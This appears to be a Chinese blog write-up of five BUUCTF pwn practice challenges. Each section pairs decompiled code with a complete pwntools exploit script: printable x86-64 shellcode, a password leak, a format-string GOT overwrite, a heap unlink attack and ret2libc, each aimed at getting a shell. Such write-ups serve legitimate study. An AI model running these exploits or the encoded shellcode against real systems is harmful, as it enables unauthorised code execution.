BUUCTF pwn wp 86 - 90

mrctf2020_shellcode_revenge

在这里插入图片描述

一道经典题目, 可见字符shellcode. F5失败直接读汇编

; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

buf= byte ptr -410h
var_8= dword ptr -8
var_4= dword ptr -4

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 410h
mov     edx, 14h        ; n
lea     rsi, aShowMeYourMagi ; "Show me your magic!\n"
mov     edi, 1          ; fd
mov     eax, 0
call    _write
lea     rax, [rbp+buf]
mov     edx, 400h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
mov     eax, 0
call    _read
mov     [rbp+var_8], eax
cmp     [rbp+var_8], 0
jg      short loc_11AC

400bytes读进buf里

在这里插入图片描述

在这里插入图片描述

lea     rax, [rbp+buf]
call    rax
mov     eax, 0

会检查shellcode是否有不可见字符, 如果有则会"I Can't Read This!", 如果全部通过检测, 则执行buf的内容
这个题要亲自写shellcode可能会比较有挑战性, 所以面向搜索引擎找shellcode, 发现可以使用
https://github.com/SkyLined/alpha3
转换shellcode为printable

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25881 
filename = "./mrctf2020_shellcode_revenge"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # shellcode = asm(shellcraft.sh())
    # with open('sc.bin', 'wb') as f:
    #     print(shellcode, file=f)
    shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
    io.send(shellcode)


if __name__ == "__main__":
    pwn()
    io.interactive()

picoctf_2018_leak_me

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[64]; // [esp+0h] [ebp-194h] BYREF
  char v5[256]; // [esp+40h] [ebp-154h] BYREF
  char s[64]; // [esp+140h] [ebp-54h] BYREF
  FILE *stream; // [esp+180h] [ebp-14h]
  char *v8; // [esp+184h] [ebp-10h]
  __gid_t v9; // [esp+188h] [ebp-Ch]
  int *p_argc; // [esp+18Ch] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  v9 = getegid();
  setresgid(v9, v9, v9);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("What is your name?");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Hello ");
  puts(v5);
  fgets(s1, 64, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
    flag(p_argc);
  else
    puts("Incorrect Password!");
  return 0;
}

输入256字节不要带截止符, puts(v5)泄露password, 没了

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26016
filename = "./PicoCTF_2018_leak-me"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    context.log_level = "debug"
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    # payload = cyclic(256)
    payload = cyclic(4) 
    io.sendlineafter('What is your name?\n', payload)
    io.sendlineafter('Please Enter the Password.\n', 'a_reAllY_s3cuRe_p4s$word_f85406')
    # sleep(1)


if __name__ == "__main__":
    pwn()
    io.interactive()

在这里插入图片描述

inndy_echo

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(s, 256, stdin);
    printf(s);
  }
  while ( strcmp(s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

格式化漏洞

在这里插入图片描述

Partial RELRO, 任意地址写打got表

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27593
filename = "./echo"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    printf_got = elf.got['printf']
    system_plt = elf.plt['system']
    print(hex(printf_got), hex(system_plt))
    chars_cnt_high = system_plt >> 16
    chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high
    print(hex(chars_cnt_high), hex(chars_cnt_low))
    payload = '%{}c'.format(chars_cnt_high).encode() + '%19$hn'.encode() 
    payload += '%{}c'.format(chars_cnt_low).encode() + '%20$hn'.encode()
    payload = payload.ljust(0x30, b'z')
    payload += p32(printf_got + 2) + p32(printf_got)
    # payload = fmtstr_payload(7,{printf_got:system_plt})
    print(payload, len(payload))
    io.sendline(payload)
    sleep(0.1)
    io.sendline(';/bin/sh\x00')
    # B()

if __name__ == "__main__":
    pwn()
    io.interactive()

小结
太久没写exp, 有点生疏了, 注意符号的优先级
错误写法

chars_cnt_low = system_plt & 0xFFFF - chars_cnt_high

正确写法

chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high

hitcontraining_unlink

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v4 = (void (**)(void))malloc(0x10uLL);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

看到函数列表有个magic函数

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, buf, 0x64uLL);
  close(fd);
  printf("%s", buf);
  exit(0);
}

按BUU的尿性是不会把flag放在/home/bamboobox目录下的, 所以想要劫持执行流到magic函数就不用考虑了

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

这里用unlink打got表, 通过atoi@got泄露libc, 劫持atoi@got到system, 传入"/bin/sh", get shell

在这里插入图片描述
chunk数组首地址 00000000006020C0

unlink会使*ptr = ptr - 0x18, 所以设置ptr = 0x6020C0 - 0x10 + 0x18, 这样unlink之后修改chunk0的内容就可以修改chunk数组本身

在这里插入图片描述

在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27262
filename = "./bamboobox"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(length, name):
	io.sendlineafter(':', '2')
	io.sendlineafter(':', str(length))
	io.sendlineafter(':', name)
 
def edit(idx, length, name):
    io.sendlineafter(':', '3')
    io.sendlineafter(':', str(idx))
    io.sendlineafter(':', str(length))
    io.sendlineafter(':', name)
 
def delete(idx):
    io.sendlineafter(':', '4')
    io.sendlineafter(':', str(idx))
 
def show():
	io.sendlineafter(':', '1')

def pwn():
    add(0x40, 'chunk0')
    add(0x80, 'chunk1')
    add(0x80, 'chunk2')
    # B()
    ptr = 0x6020C8 
    fake_chunk =  p64(0) + p64(0x41)  #fake chunk header
    fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake chunk fd bk
    fake_chunk += cyclic(0x20)
    fake_chunk += p64(0x40) # presize 
    fake_chunk += p64(0x90) # size
    edit(0, 0x80, fake_chunk)
    # B()
    delete(1)  # merge fake chunk then put into unsorted bin
    # B()
    payload = p64(0) * 2
    payload += p64(0x40) + p64(elf.got['atoi']) # change itemlist[0]->ptr to atoi_got
    edit(0, 0x80, payload)
    # B()
    show()
    io.recvuntil('0 : ')
    atoi_addr = u64(io.recv(6).ljust(8, b'\x00'))
    log.info("atoi address: %#x", atoi_addr)
    libc_base = atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']
    edit(0, 8, p64(system_addr))   
    io.sendlineafter('Your choice:', '/bin/sh\x00')


if __name__ == "__main__":
    pwn()
    io.interactive()

axb_2019_brop64

按理说这个题是brop, 不应该给二进制文件的, 给了就是常规ret2libc了
在这里插入图片描述

__int64 repeater()
{
  size_t v1; // rax
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  printf("Please tell me:");
  memset(s, 0, 0xC8uLL);
  read(0, s, 0x400uLL);
  if ( !strcmp(s, "If there is a chance,I won't make any mistake!\n") )
  {
    puts("Wish you happy everyday!");
  }
  else
  {
    printf("Repeater:");
    v1 = strlen(s);
    write(1, s, v1);
  }
  return 0LL;
}

ret2libc

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 29821
filename = "./axb_2019_brop64"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    main_addr = 0x4007d6
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    pop_rdi_addr = 0x400963	

    io.recvuntil('Please tell me:')
    payload = cyclic(0xd0+8) + p64(pop_rdi_addr) 
    payload += p64(puts_got) + p64(puts_plt) + p64(main_addr)
    io.sendline(payload)

    puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    success('puts_addr:', hex(puts_addr))

    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('str_bin_sh')

    payload = cyclic(0xd8) + p64(pop_rdi_addr) + p64(binsh)
    payload += p64(system) + p64(main_addr)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值